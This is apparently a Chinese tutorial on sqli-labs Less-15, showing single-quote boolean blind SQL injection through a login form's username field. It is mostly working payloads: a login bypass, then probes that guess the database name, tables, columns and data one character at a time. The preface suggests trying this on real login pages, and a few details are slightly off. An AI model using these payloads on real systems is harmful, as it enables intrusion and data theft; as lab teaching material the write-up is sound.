sqli-labs之Less-15讲解(POST布尔盲注注入-单引号)

前言:

一般登录处是比较容易存在SQL注入漏洞的,所以我们有时候在实战情况下找到了某个登录的地址,但是没有账号密码的情况下就可以尝试使用在登录处进行SQL注入。

1.随便尝试登录

随便构造几个常用的账号密码进行尝试登录,发现只要账号密码不对,登录框下面的提示一直是失败的,也就相当于现在比较常见的登陆失败直接提示:账号或密码输入错误。让你根本无法知道是账号错误还是密码错误,这样也就无法遍历用户名了,也是一种较为常用的保护机制。

2.构造账号密码

账号:a' or 1=1 #
密码:a

这里的账号和密码中的a其实是随便输入的,你可以随意替换。可以看到当我们输入这一组账号密码的时候,是显示登录成功的。但是我们只知道登陆成功,却无法直观看到其他类似于数据库名称,版本等信息,这是因为这里是一个盲注,可以使用基于时间的盲注也可以使用基于布尔类型的盲注。可以参考这篇文章《sqli-labs之Less-5讲解(布尔类型注入-单引号)》或者这篇《sqli-labs之Less-9讲解(基于时间盲注-单引号)》

3.猜数据库长度

账号:a' or 1=1 and length(database())>1 #
密码:a

以这样的形式来进行数据库名长度的猜测。

4.猜数据库名

猜测数据库名的时候需要一个一个地猜,我这里用手工的演示。

账号:a' or 1=1 and ascii(substr(database(),1,1))>65 #
密码:a

这里我查询的是查询数据库名的第一位(即上面语句的第一个1的作用,substr查询不是从0开始的,就是从1开始的,第二个1的作用是只取一位,这个不用变)是否大于ascii码表的A,以此来判断数据库的第一位是哪个
如果我想查询第二个则是如下payload语句:

账号:a' or 1=1 and ascii(substr(database(),2,1))>65 #
密码:a

大家应该可以看出来差别了,只是变换了一下参数值大小,以此类推。

5.猜测表名

猜测出来数据库名之后接下来就是该猜测表名了,构造语句:

账号:a' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >65 #
密码:a

这句的意思呢也就是通过limit限制只查询当前数据库的第0张表,然后substr函数的第一个1来限制第一个字符。结合起来就是猜测第一张表的第一个字符的ascii码是否大于65(即字母A)。加入存在多张表,可以通过变换limit的第一个参数0换为1来更换表继续查询。

6.猜测字段

假设我们得到了一张表名为:password,那么我们还是跟上面一样,通过limit限制为第一个字段,然后substr函数来将从第一位取出一个来与ascii码表上的65(字母A)进行比较

账号:a' or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),1,1)) >65 #
密码:a

那么我们想将第0个字段的名字的第二个字符取出与ascii码表的64(字母A)进行比较则是如下语句:

账号:a' or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),2,1)) >65 #
密码:a

7.猜测数据

账号:a' or 1=1 and ascii(substr((select keykey from  id limit 0,1),1,1)) >65 #
密码:a

意思与上面的一样,假设我们得到了一个字段:id
继续通过limit限制为数据的第一个字符,然后用substr函数来将从第一位取出一个来与ascii码表上的65(字母A)进行比较

结束语

其实这种SQL注入只要找打规律之后一般大佬的操作就是写个 Python 脚本来跑的,没有人去完全靠手工猜测的,建议使用 Python。

发表评论

电子邮件地址不会被公开。必填项已用 * 标注